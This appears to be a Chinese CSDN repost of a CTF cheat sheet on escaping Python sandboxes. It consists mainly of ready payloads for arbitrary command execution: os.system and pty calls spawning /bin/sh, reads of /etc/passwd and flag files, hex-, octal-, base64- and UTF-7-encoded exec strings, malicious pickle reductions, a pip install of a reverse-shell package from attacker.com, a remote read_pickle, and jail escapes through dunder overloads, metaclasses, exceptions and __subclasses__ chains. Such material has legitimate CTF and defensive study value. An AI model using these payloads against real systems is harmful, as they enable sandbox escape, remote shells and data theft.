首页 > 编程语言 >CTF - Python 沙箱绕过与任意命令执行技巧

CTF - Python 沙箱绕过与任意命令执行技巧

时间:2024-09-11 12:20:24浏览次数:3  
标签:__ Python system CTF sh ls 沙箱 import os

这些是一些绕过 Python 沙箱保护并执行任意命令的技巧。

命令执行库

首先,您需要知道是否可以直接使用已导入的某些库执行代码,或者是否可以导入以下这些库:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls") 
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")
# 导入函数以执行命令
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *
# 其他有趣的函数
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
# 在 Python2.7 中
execfile('/usr/lib/python2.7/os.py')
system('ls')

请记住,openread函数对于读取 Python 沙箱内的文件以及编写可执行的代码以绕过沙箱非常有用。

Python2 的input()函数允许在程序崩溃之前执行 Python 代码。

Python 尝试首先从当前目录加载库(以下命令将打印 Python 从何处加载模块):python3 -c 'import sys; print(sys.path)'

绕过 pickle 沙箱与默认安装的 Python 包

默认包

您可以在此处找到预安装包的列表:https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html

请注意,从 pickle 中,您可以使 Python 环境导入系统中安装的任意库。

例如,以下 pickle 在加载时将导入pip库以使用它:

# 请注意,这里我们导入 pip 库以便正确创建 pickle
# 然而,受害者甚至不需要安装该库来执行它
# 该库将自动加载
import pickle, os, base64, pip
class P(object):
    def __reduce__(self):
        return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))

有关 pickle 工作原理的更多信息,请查看此链接:https://checkoway.net/musings/pickle/

Pip 包

由@isHaacK 分享的技巧
如果您有权访问pippip.main(),您可以安装任意包并通过以下调用获得反向 shell:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

您可以在此处下载创建反向 shell 的包。请注意,在使用之前,您应该解压缩它,更改setup.py,并放入您的 IP 以进行反向 shell 连接:
1KB
Reverse.tar.gz

这个包称为 Reverse。但是,它经过特殊设计,以便当您退出反向 shell 时,其余的安装将失败,因此在您离开时不会在服务器上留下任何额外的 Python 包安装。

Eval-ing Python 代码

请注意,exec允许多行字符串和;,但eval不允许(检查 walrus 运算符)
如果某些字符被禁止,您可以使用十六进制/八进制/B64 表示来绕过限制:

exec("print('RCE'); __import__('os').system('ls')") # 使用 ";"
exec("print('RCE')\n__import__('os').system('ls')") # 使用 "\n"
eval("__import__('os').system('ls')") # Eval 不允许 ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) # 这样 eval 接受 ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
# 允许换行和制表符的单行代码
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
# 八进制
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
# 十六进制
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
# Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) # 仅 Python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

其他允许评估 Python 代码的库:

# Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# 前面的选项有效,但其他您可能尝试的会给出错误:
# 仅支持命名函数
# 例如:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

运算符和简短技巧

# walrus 运算符允许在列表中生成变量
## 一切都将按顺序执行
## 来自 https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## 这对于注入“eval”中的代码非常有用,因为它不支持多行或“;”

通过编码绕过保护(UTF - 7)

在本写入中,UFT - 7 用于在明显的沙箱内加载和执行任意 Python 代码:

assert b"+AAo - ".decode("utf_7") == "\n"
payload = """
# -*- coding: utf_7 -*-
def f(x):
    return x
    # +AAo - print(open("/flag.txt").read())
""".lstrip()

也可以使用其他编码(例如raw_unicode_escapeunicode_escape)来绕过它。

Python 执行无需调用

如果您在一个不允许您进行调用的 Python 监狱中,仍然有一些方法可以执行任意函数、代码和命令。

RCE 与装饰器

# 来自 https://ur4ndom.dev/posts/2022 - 07 - 04 - gctf - treebox/
@exec
@input
class X:
    pass
# 前面的代码等同于:
class X:
    pass
X = input(X)
X = exec(X)
# 因此,只需在提示时发送您的 Python 代码,它将被执行
# 另一种无需调用 input 的方法:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE 创建对象和重载

如果您可以声明一个类并创建该类的对象,您可以编写/覆盖不同的方法,这些方法可以在不需要直接调用它们的情况下被触发。

RCE 与自定义类

您可以修改某些类方法(通过覆盖现有类方法或创建新类),以使它们在被触发时执行任意代码,而无需直接调用它们。

# 这个类有 3 种不同的方式在不直接调用任何函数的情况下触发 RCE
class RCE:
    def __init__(self):
        self += "print('Hello from __init__ + __iadd__')"
    __iadd__ = exec # 在对象创建时触发
    def __del__(self):
        self -= "print('Hello from __del__ + __isub__')"
    __isub__ = exec # 在对象创建时触发
    __getitem__ = exec # 用 obj[<参数>]触发
    __add__ = exec # 用 obj + <参数>触发
# 这些行直接滥用前面的类来获得 RCE
rce = RCE() # 稍后我们将看到如何在不调用构造函数的情况下创建对象
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce
# 这些行将在程序结束(退出)时获得 RCE
sys.modules["pwnd"] = RCE()
exit()
# 其他要覆盖的函数
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k!= 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")')(请注意,这仅在`from __future__ import division`生效时起作用。)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k <<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

通过元类创建对象

元类允许我们做的关键事情是通过创建一个以目标类为元类的新类,来创建一个类的实例,而无需直接调用构造函数。

# 代码来自 https://ur4ndom.dev/posts/2022 - 07 - 04 - gctf - treebox/ 并修复
# 这将定义“子类”的成员
class Metaclass(type):
    __getitem__ = exec # 因此 Sub[string]将执行 exec(string)
# 注意:Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # 这就是我们使 Sub.__class__ == Metaclass 的方式
    pass # 无需特殊操作
Sub['import os; os.system("sh")']
## 您也可以使用前面部分的技巧来使用此对象获得 RCE

通过异常创建对象

当触发异常时,会创建 Exception 对象的实例,而无需您直接调用构造函数(来自@_nag0mez 的技巧):

class RCE(Exception):
    def __init__(self):
        self += 'import os; os.system("sh")'
    __iadd__ = exec # 在对象创建时触发
raise RCE # 生成 RCE 对象
# RCE 与 __add__重载和 try/except + raise 生成的对象
class Klecko(Exception):
  __add__ = exec
try:
  raise Klecko
except Klecko as k:
  k + 'import os; os.system("sh")' # RCE 滥用 __add__

您也可以使用前面部分的技巧来使用此对象获得 RCE

更多 RCE

# 来自 https://ur4ndom.dev/posts/2022 - 07 - 04 - gctf - treebox/
# 如果导入了 sys,您可以 sys.excepthook 并通过触发错误来触发它
class X:
    def __init__(self, a, b, c):
        self += "os.system('sh')"
    __iadd__ = exec
sys.excepthook = X
1/0 # 触发它
# 来自 https://github.com/google/google - ctf/blob/master/2022/sandbox - treebox/healthcheck/solution.py
# 解释器将尝试导入特定于 apt 的模块,以潜在地
# 报告 ubuntu 提供的模块中的错误。
# 因此,__import__函数被我们的 RCE 覆盖
class X():
  def __init__(self, a, b, c, d, e):
    self += "print(open('flag').read())"
  __iadd__ = eval
__builtins__.__import__ = X
{}[1337]

使用 builtins 帮助和许可证读取文件

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

内置函数

Python2 的内置函数

Python3 的内置函数

如果您可以访问__builtins__对象,则可以导入库(请注意,您也可以在此处使用上一节中显示的其他字符串表示形式):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

无内置函数

当您没有__builtins__时,您将无法导入任何东西,甚至无法读取或写入文件,因为所有全局函数(如openimportprint…)都未加载。

然而,默认情况下,Python 在内存中导入了很多模块。这些模块可能看起来无害,但其中一些也在内部导入了危险的功能,可以访问这些功能以获得甚至任意代码执行。

在以下示例中,您可以观察如何滥用这些“良性”模块中的一些来访问其内部的危险功能。

Python2

# 尝试重新加载 __builtins__
reload(__builtins__)
import __builtin__
# 读取恢复 <type 'file'> 在偏移量 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# 写入恢复 <type 'file'> 在偏移量 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# 执行恢复 __import__(类 59s 是 <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# 执行(另一种方法)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# 执行恢复 eval 符号(类 59 是 <class 'warnings.catch_warnings'>

标签:__,Python,system,CTF,sh,ls,沙箱,import,os
From: https://blog.csdn.net/problc/article/details/142092301

相关文章

  • pydub 基于python的音频剪辑包
    1下载ffmegwgethttps://github.com/BtbN/FFmpeg-Builds/releases/download/latest/ffmpeg-master-latest-win64-gpl.zip把bin目录配置到path中,或者cd到ffmeg的bin目录下调用脚本2下载pydubpipinstall-ihttps://pypi.tuna.tsinghua.edu.cn/simplepydub3使用#导入f......
  • python读取Excel表格内容
    importpandasaspdio=r'C:\Users\lijj1\Downloads\OSS.xlsx'#绝对路径。PS:跟当前脚本在同一目录下用相对路径,否则用绝对路径。data=pd.read_excel(io,sheet_name='工作表1')#指定读取第一个sheetprint(data.head(2))#读取前2行column_data=data.loc[:,'对应域......
  • 基于Python的基层派出所与警务站警情管理系统-附源码14419
    摘 要基层派出所与警务站作为社会治安的坚实守护者,日常承担着繁重的警情处理工作。为了提升警务工作的信息化水平,优化警情管理流程,我们精心打造了这款基层派出所与警务站警情管理系统。该系统基于Django框架开发,旨在通过智能化、自动化的手段,实现警情的快速录入、高效处理......
  • Python数据分析及可视化教程--商城订单为例-适用电商相关进行数据分析---亲测可用!!!!
    前言:Python是进行数据分析和可视化的强大工具,常用的库包括Pandas、NumPy、Matplotlib和Seaborn。以下是一个基本的教程概述,介绍了如何使用这些库来进行数据分析和可视化:Python数据分析及可视化教程1、环境准备2、数据准备3、开始数据分析3.1、导入库3.2、加......
  • Python Numpy布尔数组在数据分析中的应用
    大家好,在数据分析和科学计算中,布尔数组是一个非常重要的工具,它可以帮助我们进行数据的筛选、过滤和条件判断。Python的Numpy库提供了丰富的布尔运算功能,能够高效地对数据进行处理。本文将深入探讨Numpy中的布尔数组,介绍布尔运算和布尔索引的使用方法,并通过具体的示例代码展示其......
  • [Python] Python 基础教程
    1概述1.1简介Python是一种解释型、面向对象、动态数据类型的高级程序设计语言。https://www.python.org/Python由GuidovanRossum于1989年底发明,第一个公开发行版发行于1991年。像Perl语言一样,Python源代码同样遵循GPL(GNUGeneralPublicLicense)......
  • VScode python 调试深度学习项目 debugpy 库
    以前打OI,限于辣鸡NOILinux没有靠谱的IDE。只能用终端gdb来调试C++。gdb基本功能还是有的,但是每次启动,之前的东西(断点,监控变量)都会消失,需要重新输一遍。所以当时发现还是输出调试好,当然前置条件是写的两百行左右的程序编译时间短(1s左右),从头运行一遍也快(一个题规定的运......
  • python中Tkinter常用控件含义
    #python中Tkinter常用控件Button'按钮控件;在程序中显示按钮。'Canvas'画布控件;显示图形元素如线条或文本'Checkbutton'多选框控件;用于在程序中提供多项选择框'Entry'输入控件;用于显示简单的文本内容'Frame......
  • 计算机毕业设计选题推荐-作品分享交流平台(摄影、绘画、书法)-Java/Python项目实战(亮点:
    ✨作者主页:IT毕设梦工厂✨个人简介:曾从事计算机专业培训教学,擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。☑文末获取源码☑精彩专栏推荐⬇⬇⬇Java项目Python项目安卓项目微信小程序项目......
  • 计算机毕业设计选题推荐-企业人事管理系统-Java/Python项目实战
    ✨作者主页:IT毕设梦工厂✨个人简介:曾从事计算机专业培训教学,擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。☑文末获取源码☑精彩专栏推荐⬇⬇⬇Java项目Python项目安卓项目微信小程序项目......